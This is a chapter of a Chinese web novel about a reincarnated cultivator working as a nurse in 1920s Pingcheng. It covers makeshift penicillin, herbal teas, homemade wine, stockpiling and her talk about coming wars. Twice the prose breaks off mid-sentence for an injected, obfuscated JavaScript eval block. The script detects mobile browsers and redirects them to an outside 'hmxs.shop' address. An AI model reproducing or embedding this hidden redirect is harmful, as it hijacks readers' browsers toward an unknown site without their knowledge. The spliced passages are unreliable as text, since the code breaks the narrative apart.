苏茜他们医院距离运动场地很近,但没有接到什么伤亡。只是正常病人和产妇,当然肺病患者是具有传染性的,这已是医护的共识,所以肺病和产房等是从不同的通道进出。连护士也是去过肺病病房的起码两天都不去接触产妇婴儿。然后因为一名护士病倒,苏茜就被调去目前大家认为具有传染性的病房,当然工资也加了点。
就现在的医药水平,在没有青霉素和磺胺等抗菌药物甚至彻底消毒针头的前提下,苏茜并不认为护士得了肺结核能有啥好下场,所以她是唯一一个自费买口罩的人——现代的口罩都作为垃圾处理掉了。
可是,在无法修炼出修为的情况下,没有青霉素确实是件相当危险的事。她开始在岛上做试验。
青霉素的土制法乃至工具她收集了保存着的,就为了不时之需,甚至还在岛上做成功过。但这辈子还没试过,光是找发青的馒头就得自己上手,结果就是前前后后花了一个多月时间,做出来鸡吃了没有被杂质毒死、注射进这只鸡体内也没有出问题的青霉素。
为了测试,她给自己做了皮试,不过敏。
但是,问题来了:如果自己不幸染上肺结核或其他致死的细菌性传染病比如杆菌鼠疫,要注射多少剂量才能救命?这十几毫升的透明液体要稀释吗?要提纯吗?分多少次注射?
不,应该是要提纯。
话说,提纯晾干是需要25摄氏度吧。幸好山洞里的温度湿度和空气质量都比较合适,不然房间里华氏,不,摄氏30度的温度对药物而言偏高了。
阳历六月的天气,白天很热,早晚凉快。苏茜终于折腾出青霉素注射液,片剂是不用想了。然后就没有然后了。她无法确定安全有效的浓度,也没有冰箱,准确地说是很久很久之前的冰箱只能扔掉,现在是没有条件长时间保存青霉素注射液的,只能准备工具再把可以发霉的食物用玻璃罐装起来,放着长期发霉……其他试用时发现已经报废的医疗器械也只能扔。
可怜的海,因为现实里没地方扔这种太过“先进”的东西而成了垃圾场。
“……我也不知道那炉子烧什么,但肯定是油。所以煤油和汽油都给我打一罐吧。”她也有煤油炉,但主要就是想试验能不能用汽油发电机。这玩意她可是费了老大的劲清洁和封存的。
“……好的,但是,小姐,您至少要买一升。”
“我知道。”苏茜摸出五银元二十铜币各买了一罐。目前银元的购买力还可以,就是金银兑换的比例,不同的时间地点人员可以差三倍,因此她都是直接去外国银行,起码那里贵金属纯度或纸钞真伪有保障,然后再存美刀或者换银元以及其他贵金属货币,比如没有降低白银含量的便士银币或是金法郎。她不戴任何首饰,也不穿值钱的衣服,一头自己剪的短发,每天不是护士服就是类似修女服的长袖长裙,天冷的话就是风衣、夹棉衣和棉衣,雨雪天一把超级大的素面油纸伞,要不是脚上是皮鞋或皮靴,整一个穷人。
煤油店老板给了她两个罐子。“用完拿这罐子来加。”
“好的,谢谢。”苏茜提着两个灌满的罐子回到等着的人力车上。
隔天休息,她将汽油分别倒入小型发电机和便携发电机,煤油则倒进小户外炉子。
灯亮了!
可惜,现在没有冰箱这玩意,电灯进入很多家庭,有钱的还能装电话就已经很“现代”了,家用冰箱用的压缩机和氟利昂液估计还没有出现。
更别提青霉素。
苏茜将戴了一上午的口罩放入小铁壶里烧着的开水中,小铁壶则是放在小泥炉上,用一小块煤块烧着。然后拿了晒干的纱布口罩戴上。
“苏茜护士,我发现你把口罩放在水里要烧一会?”
“是的,开水滚半个小时。虽然口罩用不了几次就坏了,但我认为这样会杀死大部分的细菌。当然不是全部,但总比什么都不做要好。”现在是纱布口罩!没有熔喷布,最外层甚至连防水功能都没有,实际上防护不了什么。
“哦!细菌。不过,还有病毒呢?!开水应该可以杀死吧?”
“病毒太小了,口罩不能阻止病毒,只能阻挡一些细菌,不是所有的细菌。但是,戴了口罩总比没有戴好,不然如果病人是肺结核,护士也有可能染上。甚至是感冒病人也会传染给护士的,比如西国的那种流行感冒发热,口罩也是防不了的。只能靠我们自身的免疫力才能不死亡。”
“……”好可怕!聊天的护士脸色全变了。不过她们说不出口罩无用的话,因为苏茜几乎是唯一一位工作以来从来没有病倒的护士。
“其实我还配合草药煮水喝来预防传染病,尤其是感冒。另外,着凉以后喝些草药水也有很好的作用。”
“啊,能卖给我吗?”
“我写出来,你们可以去草药店铺里买。当然我也可以代你们去买。”
“哦!拜托帮我买吧,我给你钱,还有坐车的钱!我不认识那些草药,我担心对方不理解我说的是什么。”确切的说,她不知道对方是不是因为她不是华裔而卖给她其他的东西来冒充,这种事实在是太多了,普通的东西还行,药物这事不行啊!
“好啊,我去买的时候给带你的。我会把配方、剂量和价格写下来,不用另外给我坐车的钱。”
“啊,苏茜,也帮我买吧!这个需要每天喝吗?”
“不,是接触的病人可能有传染性的时候喝。还有着凉喝的是性质完全不同的另一种。我会写好标签的。”
“太感激了!麻烦你多买些,我们可以在休息室里学着煮。”草药学是非常古老的学问,医生们也经常用草药提取物。但大家对本地的草药都不怎么了解,而本地医生拒绝向徒弟和家属之外的人传授知识;医学书籍又没有几本翻译本,至于说原文……没人看得懂,包括苏茜本尊。
“没问题!”苏茜对中医诊脉一窍不通,但有收集过不少药方,天气转冷后也时不时煮药茶喝。
* * *
“我以为会难以下咽。”
“我加了几种味道比较好的原料,可能不利于药效,但起码喝起来不恶心,可以作为健康饮料。”罗汉果、黄精、蜜炙甘草等都是性价比挺高的调味剂,也跟大部分药物不冲突,她常备。
“确实呢!”灌下两杯茶水,今天下午喝的水也差不多了,上个厕所,回去干活。
两杯健康草药水也就花费一个十文铜币,这个消费水平完全可以接受!连医生们没事也会喝一杯,起码比汽水便宜健康。苏茜建议让食堂去采购,然后煮了放在饮料柜那里,连病人家属都会跑来买。尤其是苏茜要求杯子用自己的最好,如果提供的杯子就得用滚开的水煮半小时。不得不说,医护人员染病的数量确实少了一点——这个很难说是餐具沸水消毒还是喝草药茶的作用更大,反正苏茜自己是从来不用食堂里的杯碗刀叉直接吃的,盘子有时倒是会用一下。着凉或是传染上感冒,转成肺炎会死人的。她即使每天认真修炼习武,也就是强身健体,不可能真的啥都不惧。
下班后,苏茜在食堂吃了顿还算健康的晚餐才回去。夏季晚上快八点的时候天已经黑了,这一小片区域没什么杂院棚户,连佣人都是比较体面的。不少人也才坐车人力车回家,不少人出去应酬或约会,倒是这个时间点很少有小孩出来,更不会一群群衣衫不整地坐躺在马路边乘凉聊天。
苏茜拿着要清洗的护士服,身上亚麻色修女风长裙,平底凉皮鞋,素色纱头巾,老气但个性地踩着六亲不认、低头看路的步伐回去。
“苏茜护士。回家了?”
“是的,海伦女士。你出门吃饭吗?”
“是的。这个时间不太热不是吗?”
“是啊,白天看到阳光都会头晕。”
两个人随口说了几句。对方的车到了,汽车。
苏茜礼貌道别,回岛上洗被套床单,这是项大工程。明天休假,期望岛上有太阳吧!如果下雨的话,还是得在现实里晾干。住的房子什么都好,但就是大家都不习惯在户外晾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990620|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晒衣服,所以苏茜也从善如流在“房间里”晾干。好在平城干燥,没有甩干的湿棉衣在春季不下雨的时候两天一夜就能干透——比晒在岛上效果好得多。
然后她就在花园小屋里躺下了。岛上的夏季夜晚凉爽,必须盖两层布的被套才行——被套还是她在布店买了各色棉布在裁缝店订做的,没有拉链用的是扣子。这年代可没有被套,都是被面被里子用针线粗粗地缝上,有钱的都有佣人拆洗缝上,没钱的几个月才去井边河里洗一次。
至于被子,一楼几乎都在后园晒,所以她休假的时候就会晒晒。
感谢现代科技和上辈子自己学的东西!可以后呢?要是碰到中世纪女巫,或者美洲奴隶什么的,她干脆给自己一颗子.弹,或者烧炭啥的……
想到就做,她一边晒着衣服被套,一边将所有武.器收藏都搬出来,该保养的保养,该扔的扔。另外找出来收藏的医学类打印件和书籍。清洁阵不能保鲜,岛上灵气浓度不支持的情况下封存阵、封存符这类有效期只有三四年。所以上辈子的她在九十岁之后一直在制作各种炼器用品,与清洁阵配合着,自己现在拿出来用就非常方便。
比如多角刀和割喉爪,都是从一些莫名其妙收集来的图片里得到灵感做出来的,不卖,但自己琢磨了武技招式。
多角刀精准地扎入挂在树上的木板靶子。靶子是悬空的,木板也不厚,如果不是力度速度正好,十几米的距离刀能掉地上。
这个世界,冷热.武.器都必须熟练!她拿了五两金子从本地黑.市买来的左轮,装入一块银元才能买到六发的.45弹!练一次木仓就得花一块!而且装不上她手头三款抑制器的任何一种。要不是收藏品里唯一的“古老”武.器是老式□□,她压根不会这么折腾。哦,传说中的毛瑟也没有看见,不知道是不是生产问题,可她记得这一款很早就出现了?
而且,好糟糕的手感!不管是装弹还是后座。不过二十米的靶子炸开花,五十米的也挺“好看”,说明威力不错。配得上一小箱子.弹所花出去的金锭——上上辈子这些也就值个一百美刀,还是通货膨胀后的币值。现在也得一百多,可见中间商们到底赚了多少钱。
练好木仓去赶海,捕鱼捞虾凿牡蛎捡蛏子,弄回来三桶带海水的海鲜。
苏茜打开一个云腿罐头,再炖上宰杀好的童子鸡以及土豆,加黄酒、米酒、去年自酿的葡萄酒和几个小辣椒。
然后去修炼。
一个多小时候后,练功结束,捞出一半汤料,再加蔬菜面条在小炉子上煮一下当午饭。其他的继续最小火炖到晚上当晚饭吃。
回到屋子里正是最热的夏日午后,前院的桦树遮挡了些阳光,让屋子不是热得如火炉。苏茜看了眼报箱,取出报纸放到小小的公共阅读角,还从走到附近的小贩手里买到几样水果。
有新鲜水果就不用买高价水果罐头了。
拿岛上清洗吃了,继续看书,有以前的积累,也有现在买的,并且尽量都背下来。纸张是会坏掉的,学到的东西目前看起来是不会坏的。
知识终归是有用的,即使是跳大神的知识,只要是对的、学到了都有好处。
比如在食堂简单饭前祷告的时候加入金光咒。虽然会将全天的修炼成果一扫而空,但是吧,觉得神清气爽!
“苏茜护士真是虔诚。”留学归来的华籍医生叹了一句。这在没有出过国、也没有加入教堂的华籍女子里很少见。
“她以前就是见习修女,在教会诊所里行善。但是小教堂因为战争关闭了,修女们回意国去了,就留下她一个人,被推荐去护士学校学习。”苏茜的经历只要是稍微一打听就能知道,尤其是外籍医护基本都有所耳闻。“所以她除了英语还会意语和西语,法语也懂一点。”
“真厉害!没有留学就能达到这样的水平。”尤其是工作很麻利,从不嫌累,对待各国病人也很有耐心,从不明示暗示要求加津贴。
“对,她是我们中最吃苦耐劳的,也值得信赖。”有华籍女工的忍耐,有外籍女性的凌厉,最重要的是她值的夜班是最多的,收入却不那么多,从不在休假时间计算上搞事情,还会用修女式的端庄替姑娘们挡下骚扰,让其他护士都有些不好意思。最让人愉快的是,苏茜搞出来的健康草药茶和她自己做的甜葡萄酒便宜得让所有不是很富裕的护士都能接受。
新来的医生点点头,能得到外籍护士一致好评的华籍护士很稀罕。
“这个伤员的弹片已经取出来了。”
“麻醉还有效的话直接缝合吧。”
“好的,医生。”
“……”
“……”
在没有专业麻醉医生的情况下,护士简直是全才。起码苏茜时这样觉得的。
能送来外国医院的都是有点钱或地位的,哪怕在战争期间。哦,又打起来了,这次距离平城非常近,不过战争的结果是这里的军队赢了,但大王又换人了……
时值夏季,受伤感染简直是必然,能不能活命完全靠天意。
苏茜已经帮着抬了六具尸.体了——抬尸前她还会给一个极简的祷告。“求你收纳亡者,使他得到安息。愿众人都能在天国重逢,永享你的福乐。安息吧。”
意语腔的拉丁语。没人听得懂,但人人都懂她的十字手势,甚至记住了RIP。以至于其他华籍护士和工人也会用这三个字母配上合十的手势来表达一下哀悼,还有念佛号或道号的……用什么手势语言并不重要,只要心意到了就行。
唯一值得人安慰的是,现任大王也是掌兵的,为这些受伤军官付了合理的手术费和住院费。
“护士长,我这三天休假。要好好休息。”
“哦,快走快走。你已经住在医院半个月了!”没有哪个护士像她这样连续加班加点,挖子.弹抬尸.体换床单什么都做的。真没有!“你现在就可以下班了。”
“好的,谢谢!”
……
小贩整车的葡萄都让苏茜买下,因此车子是直接送到家,卸货到房门口再走的。苏茜给每家都送了一盘洗好、挑拣过的葡萄,一部分在屋子里制作,大部分都放到岛上制作葡萄酒。
她陆续买了好几车的葡萄和足足三十斤□□糖,大玻璃罐子和瓶子也多买了有好几车,蒸馏水设备也多买了一套。她自制的葡萄酒颜色偏淡、不算太甜,不光喝了美容,还可以做菜。光她自己一年就能消耗掉几十斤。
山洞里能摆放罐子的地方都塞满了。做酒的水是蒸馏水,风味是别想,但起码卫生安全!
连着下了三场雨,平城入秋。早晚的时候,苏茜开始穿上找裁缝新做的绒料外套。这个绒可比上上辈子买的、上辈子已经扔掉了的绒质量好得多,当然价格也高得多,一长一短两件加起来超过二十五块。
现在的毛衣价格也很可以,一言难尽的短款和单一的颜色居然要两块多,带着奇奇怪怪装饰的往往要五到十块甚至更高,定制就别指望了,花样更是没戏,因为没有专职织工、没人会织!所有苏茜无语地买了两件毛衣开衫和两条围巾,加起来十块,差不多十顿双人份铜锅涮羊肉。但如果叫她买个两块钱的羊毛线去织,又太浪费时间。唯一让人满意的是,现在的羊毛线是真羊毛,因为化纤比羊毛更贵,看进口尼龙袜和本地羊毛袜的价格就知道,还有长筒丝袜更是贵到离谱。
倒是本地产的真丝和丝棉的价格让人“惊喜”,一些丝质特产更是“便宜”到令人流泪,让她一时高兴买了三个金元,不,是小黄鱼,也不是,就是称重量的三个金锞子的素面桑蚕丝制品,一大包她只能坐车带回来。至于羊绒……反正这一片的店没找到。倒是毛裤和毛袜,还是沙俄革命前进口的,穿到现在仍然很好;至于秋裤、棉毛裤、线裤这种,暂时没看到有卖。
秋季的落叶是院子里的麻烦,不过苏茜“顺手”都给解决了。一簸箕一簸箕的落叶加上夜间捡的牲口粪便,做出来的营养土只够用来改善又被岛上雨水冲刷得有些贫瘠的土地。地里还种着野茶。
当年那些都是好灵茶呢!现在也就是不错的炒青。
而火灵木她舍不得砍,继续用营养土、鸡蛋壳等等养着,即使这些比当年的火灵木“退步”了不知道多少,可仍然比普通木头耐烧且坚硬,非钢锯钢斧和半小时的力气活搞不定一根树干。
很久以前的灵谷已经没用处了,结的谷子根本没法完全脱壳更不能吃,只得全部拔了烧成灰给树木改善土壤。
至于大棚蔬果,她真的没有精力去弄,有那空闲还不如认真修炼加罐头水果瓶装牛奶来得有效果。她半个小山洞的金元根本看不到减少的迹象。
16.当年的护士(三)
“您就只觉得夏天特别热,是吧?您那是不知道,北边和西边大片大片的,几个月都没下雨!地都干得裂开了!根本没打一粒粮!您要走出这片富贵街区,到外头去,多少要饭的卖儿卖女的,卖不了就往没水的枯井里扔,连枯井都扔满了娃子!”
“所以一句话就是涨价,是吧?!”
“是啊!我也没便宜面粉卖您,我的上家现在手头都收不到面粉,卖一包少一包。米倒是还有一些,但不少都被拉去赈灾,还有给当兵的吃。您是不知道呀,当兵的一旦饿起来那什么都敢干……”
所以面粉涨了三倍,大米涨了一倍。连土豆红薯包谷米都涨了大半。与粮食有关的其他包括肉基本上都涨了两到五倍。连食堂的菜价也不得不翻倍。
“苏茜护士,我看到你从国际赈灾会那里出来?你捐了多少?”
“我把身上的十个银币都捐了。剩下的几个铜币是两天的伙食费。”
“十个?!”近两周的薪水吧?她觉得捐了两块已经很给面子了。哦,苏茜是华籍,所以感同身受更多些吧。
“是的。我还有一些不太好的棉布和冬衣,我打算也都捐出去。”事实上她打算在捐款箱收走前扔下一叠金元,两头用银元遮挡。粮食就算了,她也没有多少可捐。
“哦,真是好主意,我找找有没有不穿又有些舍不得扔的衣服。”
“……”
“……”
苏茜习惯了储存物资,所以她的大米和面粉始终保持能让自己吃一年半的份量,更不会在涨价有短缺的时候去抢购粮食。她只是在不同的店将还没开始大规模涨价的水果、牛奶、肉类罐头各买了好几箱。这是囤货,不是抢别人的救命粮。事实上即使企业捐了自家产品赈灾,也与她的囤货行为没有半点关系。
嗯,棉花产地似乎没有绝产,所以她又做了里外两身以及铺盖两套,外加煤炭木炭汽油煤油和大小炉子,花掉的跟自己捐掉的差不多了。煤油炉子比汽油炉子的安全性似乎好一点点的样子。
邻居们还以为她大批量采购了分销给外籍同事,因为他们看见她经常拎着比以往大不少的袋子去上班。
是的,她确实用批发价买了罐头然后带给不宽裕的护士同事们。
包括葡萄酒。
……
“我的检测是这酒品质不错,至少喝了不会拉肚子。”检验员忍不住将剩下的一口闷了,呃,这是葡萄酒吗?怎么这么难喝!
“哦,现在的口感很糟,得过滤后再放几个月才能喝。我用的是开水煮过半小时的纱布,晾干后立刻过滤。”
“做好了能卖给我一些吗?”
“当然可以!大概半升酒装在开水消毒过的瓶子里,软木塞和蜡封口,只要五十美分或者一块二。你知道,葡萄、冰糖、罐子、水和瓶子都有成本。我用的水是蒸馏水,不敢用户外井水。”
“非常好,非常好!非常健康!能给我十瓶吗?”还很便宜!要知道,美国禁酒了,这位美国来的检验员来华前就断了便宜酒的来源,来华后本地产的普通葡萄酒又不便宜。
“可以。但是要半年后才能好。其实最好是明年圣诞的时候。到时候我会先拿给你试喝。”检验员想掏钱,被苏茜阻止了。圣诞前,苏茜拿了发酵好的酒液去医院实验室检验,不管是显微镜还是其他仪器——苏茜看来粗糙原始得可以,比她当年检测有机蔬果还要简陋——都显示质量没有问题。
“我都要!不管半年后还是一年后的,嘿嘿。”即使口感不佳,也是酒啊,不会喝死人的便宜普通酒!“外面卖的葡萄酒太贵了,土豆酒更贵。你知道的,美国禁酒甚至还抬升了其他地方的酒价。”
“是的,除了走私犯子没人得到好处。”还有史上最大规模的工业酒精中毒死亡人数。北美政府在工业酒精里加入有毒物质防止人们酗酒,结果造成成千上万的“不明原因”中毒死亡案件,这真是太有创意了!
“我邻居是教师,已经四个月没有拿到薪水了。我建议他罢工,但是他们还在犹豫。”
“我怎么听说他们不愿意罢工是因为不想影响罗素,还有几位著名学者的演讲?”
“……”
“……”
院里的医护大多住在这片区域,而病患们也都是有头脸和有点文化的人,所以大家的消息似乎都挺灵通的样子。
不过苏茜听到了好几个学说和主义,以及李先生、李四光等人的大名。就成就贡献而言,后者绝对可以说是科学实践的先驱,两百多年前她还为了翻译一份专业稿件,看了好几篇这位华籍先驱的传记甚至课件内容文献。犹记得还有一位陈先生,他的两个儿子都遇难了,曾经的她还去以两位永远的青年人命名的街道口献过花,当时是结结实实哭了一回的。
嗯,似乎是快五百年前的事了,第一辈的自己,真实愚蠢热血地为了别人、一群称不上好人的家伙搭上了自己的生命……蠢得死掉了。之后的自己就再也没有干过这样的蠢事了!
不同国籍的人讨论问题的角度不同,有的只关注自己同胞大拿在平城受到的待遇和欢呼,有的就关心照片上的人长什么样,还有的喜欢收集各种学说和代表人物好吹牛。除了亲戚朋友邻居,平城的大学与师生们如何跟他们这些医护没半点关系。什么演讲礼堂,她好像啥时候当影视资源参观过……就一没空调的昏暗屋子,如果不是几个名人的名字放那里,她看都懒得看。
既然她改变不了什么——世界意识也不允许她改什么——那就认真活下去!
至少她的情况比北边的邻居好点。在又一道冷空气的拜访下,平城的空气都仿佛结了冰。摄氏零下十度。没下雪。
更让人发抖的是饥荒。看着外文报纸上俄国那里人相食。各国争相报道这个可怕的场面,仿佛别人过得不好就能抵消欧洲至今还有大量的人冻饿而死:光是“区区感冒”死的人就比俄国多,有啥可高兴的?!哦,高高兴兴跑去救济赈灾。见鬼的居然有地方头儿也要掺和,于是华文报都在骂,当然外文报都在赞美。不同的说法在同一天收到真的挺有意思。
想起来了,北边邻国活活饿死了几百万人口。嗯,跟华国时不时经历的也差不多,唯一不同的是对方没有自然灾害,纯粹的人为灾难,这就很那啥了。
可再过一代人的时间,他们,和自己这片土地,以及全世界一半的地区和大半的人口,都会迎来更猛的人为灾难——如果自己所在的世界与收集的世界历史里的那个世界相同的话。只不过有些事件的细节确实不太一样,很难说是记载错了还是纯粹的平行世界?
苏茜把手伸到暖炉上方烤了会儿,然后继续去工作。不少欧洲医生因为母国缓过气来打算回去,还有不少医生尤其是美国那里的打算来远东碰碰运气。
“这个‘运动’,可以理解为一部分受过良好教育的人们终于意识到自己应该是个独立的国家,而不是几千年来为君王、为家族却从来没有国家的概念……人们尤其是女性应该摆脱千年来的落后愚蠢。你们也知道大部分华籍仍然受到过去的影响,比如女性裹小脚、不准由男性医生治病,家庭中男性为了谋夺寡妇财产而将寡妇淹死、孤儿卖掉——虽然各国为了钱杀死妻子的事情很多,但这里,家族可以决定一个女性或孩子的财产归属甚至生命,而且大家习以为常。”
“国家的概念?”
“对。以前的华人没有国家、民族的概念。他们向官员纳税,向君王效忠,为家族、团体的利益而相互斗争。民众对割据毫无异议,只要税收不至于让所有人都饿死,也不要将每个青壮年男子都拉去打仗,文盲民众并不在乎国家和总.统这类事情。顺便说一句,大部分民众不识字,一半左右的人从没离开过出生地五十英里、除了饥荒乞讨的时候。”苏茜的理念受几百年经历的影响,简单的解释就能让新来的外籍医护很快理解,而不是被一堆词不达意的翻译文字搞得莫名其妙。连华籍医护都明白了。
“确实,我们以前从来不说国家,只说君主,朝廷。我小的时候还留过辫子,那种后面长辫子、前面剃光的男士发型,这就是向异族君主效忠的意思。”一位祖上是官员、自己留过学的医生点头。党.争误国导致蛮.夷入主中原这种事就不说了,丢了十八辈祖宗的脸。
“我们国家的很多杂志仍然将留辫子的男人作为华籍的标志。”
“我知道。看到过。那时我已经剪掉辫子了,仍然感到难堪。”
苏茜心里翻白眼,不过懒得多说什么。这位留洋大夫可是有29岁的正房太太和一房16岁的姨太太,还先进文化个屁!谢天谢地她是位见习修女,哪怕一直无法“转正”,那也是正经洗礼过的,不然搞不好这种货色还会“施舍”她当个三房什么的!
等天气暖和到早上可以只穿修女款单风衣的时候,南方又立了位总.统。哦,孙先生,第三次当总.统了。
苏茜看着还算年轻的孙先生的照片,许久才放下报纸。
可惜了,没有自己的理念武装起来的武装,终究长不了。只是徒增伤亡、饿殍和后世的唏嘘。
她极为赞同二十八年后的政权,但她在外国教会和外籍医院的经历绝对会让自己在上了年纪时过得十分悲惨。所以她必须离开。
* * *
城头的大王旗又换了。
最后一位皇帝结婚了。
说实话,苏茜对周先生的小说关注度更高。就是,行文看着略别扭,有那么点日语译文的意思。好吧,比文言文要容易读。她买了两本周先生的作品作为支持,然后就扔下轰轰烈烈的运动,回到自己的小岛上。
金元真没消耗多少。两百年前的熔炉已经无法用了,但金元的纯度比较高,直接用煤炉加本地金匠工具还是可以进行加工的,所以苏茜弄了不少做工不是很好、成色却相当好的金锞子,并且每次都去兑换超量银元作为战略储存——这里的银元有其他金属杂质,但作为等价物而言已是从古代到现在最高纯度了。
对了,官方金条还没有呢!她不知道这个世界改了还是自己不了解历史。现在压根没有网络搜索引擎可以查询……不知道这么多年各种语言和口音的影响下,自己以后还有没有能力打拼音。手头没有配音字典,她现在的口音与满大人普通话肯定是有差异的,就是不确定到底哪里不对。
平城的城区下雪的时候不算多。
医院只在圣诞和新年放假,旧历新年是没有假期的。也就是□□的短短几个月说是恢复春节放假制,之前和之后都不放。民间自家搞一堆庆祝祭祀的,除了南方一部分城市禁止旧俗,其他基本没人管。
苏茜当然是不会请假过春节,他们这栋楼甚至都不清楚这个华籍传统节日是什么时间。而离开外国及西化区域之外,街头巷尾议论最多的是退位皇帝不行的八卦。房子里报纸的头条大部分都是欧洲又打起来了。
除夕的时候见到打仗真不是多愉快,哪怕事情发生在一个来月前。她曾经看过不少近乎阴谋论的文章。不过现在看伦敦仍然是小报八卦男男女女风格的“专栏”,只觉得可乐。
“你觉得这是新一轮战争的开始吗?”新搬来的一户荷籍邻居忧心忡忡地问道。
“我只知道美国的军火商和飞机商将发财一百年,当然只有少数公司能存活那么久。”
“你觉得还会有战争?”
“会。我觉得这是新的战争大戏的前奏曲,幕布还没有拉开前的那种演奏。”
“哦……幸好我们是中立国。”
苏茜看了看她。欧洲的中立国?别开玩笑了,就那么点地方!
“中立国是不参与战争的,会维持国内的安全。”这位女士自我安慰着。虽然她也明白,大战过后什么都不会可靠。
苏茜耸耸肩,“不需要飞机,以坦克的速度只需要几天吧。那时荷国的财富和人口就都是占领者的了。不听话的话杀死一万人就够了。”
“……”
“我觉得欧洲的战争比亚洲的更可怕,听说美国那边一直在寻求跨大洋的飞行,那么未来整个欧洲,也许还有亚洲,可能都是战场。不过相对的,亚洲因为人口稠密,死的人更多,而且都是死于饥饿和灾难,这也是季风大陆的特征。”
听不太懂,但是好可怕!这位邻居脚步轻忽地离开了阅读角。
“你觉得还会有战争?”旁听许久的房东太太忍不住问道。她总觉得母国这种出兵太“古老”,就像是拿破仑会干的事。而拿破仑之后就再也没有第二位伟大的、让欧洲包括英国都震颤的法籍将军了。
“是,但也许还有不少年。”
“可我看德国已经没钱也没人来发动战争了。”
“他们有仇恨就够了。人口其实是很简单的事,武.器只要向美国买。而且我们都知道德籍化学家比哲学家多得多,其他学科也不差。”以前的化学定义极为广泛,从镜头到黄火药。
“哦……只有美国比较安全是吗?”
“美国特别会赚钱是真的。他们的军火商都是敢于亲自前往交战国争取订单的家伙。只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998328|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要有钱,美国就是最好的国家。反之,就是最可怕的国家。哦,在美国还要有开木仓的勇气,武.器是女性保护自己的唯一可靠的方式。”
“哦!”好吓人。
“是的,我在房子失窃的之后就买了木仓。这让我安心多了。”
“你对美国那么了解,是想移民吗?”真高兴,她也买了两支呢!楼里应该还有其他人也买了。
“不,那里不欢迎黄种人,尤其是华裔。”
“我听说可以买到移民美国的身份?”房东太太不知道该说什么。她们是欧洲侨民还可以去欢迎欧洲移民的美国,但苏茜不是,虽然她现在的法语发音很好。
“是,装作一个定居华籍的‘纸上’家属之类。不过即使去了美国也很难好好地生活下去,说不定又因为什么事情被关起来。华府连毒死自己民众的事都干得出来,更不要说别的了。”
“……”想到那个禁酒令下的有毒工业酒精,爱好美酒的房东太太虽然不喜欢苏茜自酿的甜葡萄酒,但绝对不能接受有毒假酒或酸苦的葡萄砖制品。
“不过他们不可能长久地禁酒。也许几年后就好了。”股灾之后。
“那么伦敦?”这位华籍房客的口音虽然不是多上层,但不看脸的话完全不知道这是华籍。
“伦敦好像受到过轰.炸?相信以后的飞机能飞得更远、携带更可怕的炸.弹。所以我还是就在国内吧,大不了去高原的教会医院。我认为飞机不会去那么遥远贫瘠的地方。”
“……”
相关战争的话题之后基本没在楼里出现。但大家心里的阴影是抹不掉的。
但是之后报纸上一个不是很起眼的角落,冯鲁登道夫的名字让苏茜眯起了眼。一个曾经跟兴登堡配合默契,结果选举时惨败的家伙,希总理的战友。纳.粹已经有了不小的基础了。只是现在——以及未来——那个国家的右翼本身又分很多派别,这不是还有自己清洗自家队伍的事情……好像是在兴登堡的要求下?反正她对那些人都没好感。而且,即使现在杀掉了未来的战争狂魔,也许会有更糟糕的人物出现!历史的偶然总是在必然中出现。
* * *
这个夏天很热,很干燥,反正老的皇宫里起了大火,将很多千年珍藏和百年树木都化为废墟。
到最后一位皇帝被赶出皇宫的时候,那个庞大建筑群里已经没有人了。
“我去看过那个宫殿,古老、荒芜、面积很大。”一名住客去年刚进去执行任务,他在阅读角指着报道开始向邻居们讲述。
华文报纸一片叫好,外文报纸可能同一份报纸上有不同的观点。但总体上,遗老遗少的“呼吁奔走”根本不会上报纸。
“我觉得这里做得很好了,没有砍了他的头,还允许他带走其实并不属于他的财产。”比当年的法国好多了。
“还有一个民族问题。不得不说算是和平的做法了。”
男人们似乎对这样的话题尤其有兴趣,难得的聚在一起抽烟聊天,甚至还一致同意又订了两份期刊——苏茜也出钱了。但闲聊也就是一会儿的功夫,毕竟大家都各自有事情要做——这栋楼里可没有无所事事的贵族。
意国的“黑衣宰相”上台。黄埔建了个陆军军官学校。工人罢工。同一张报纸上的三个消息让苏茜无语。再加上一个抨击女权的专栏文章。
懒得再看报纸。
但不久之后,孙先生过世。
苏茜的世界历史可没有好到记得细节。她能把欧洲那么多同名君王大概搞清楚谁是谁已经很费力了。再加上一百多年的修仙生活,别指望她还记得多少,尤其是她的华籍身份是在两百多年前。要不是上辈子最后的二十年时间里,将现在已经成了垃圾的多语种书籍和文章通读过,她除了两次大战加起来不超过五十个人名之外大概啥记忆也不剩了。
回到岛上,一边炖猪瘦肉,一边继续整理这一世的“收藏”。
书和报在清洁阵中能保存百年,但最好的法子还是多看多记。平城的几次工人、学生运动乃至军人讨薪除了给大家增加“见识”外,并没有打乱这几个街区的生活节奏。苏茜的历史知识开始混乱。或者说,这个世界的现状与她的历史知识储备不完全一致。但大部分走向还是对的,比如英王的第一个孙辈,一位以三位王后的名字命名的公主诞生,照片上满月婴儿的美丽礼服还是近百年前的丝绸蕾丝袍。顺便说一句,被赶出皇宫的那最后皇帝的妻子的名字也没有变。
苏茜在进来好几名本地和护士之后开始增加休假。尤其是秋天的时候请假三天,理由是要去是逛逛旧皇宫。
南边又打起来了。
年年不止一处打。只要不是自家死伤,哪怕是家门口有木仓声,大家都已经麻木地习惯了。
距离苏茜最近的木仓声是医院窗口外。医生照样在看诊,护士照样在给药。
涌进故宫的堪称人山人海。
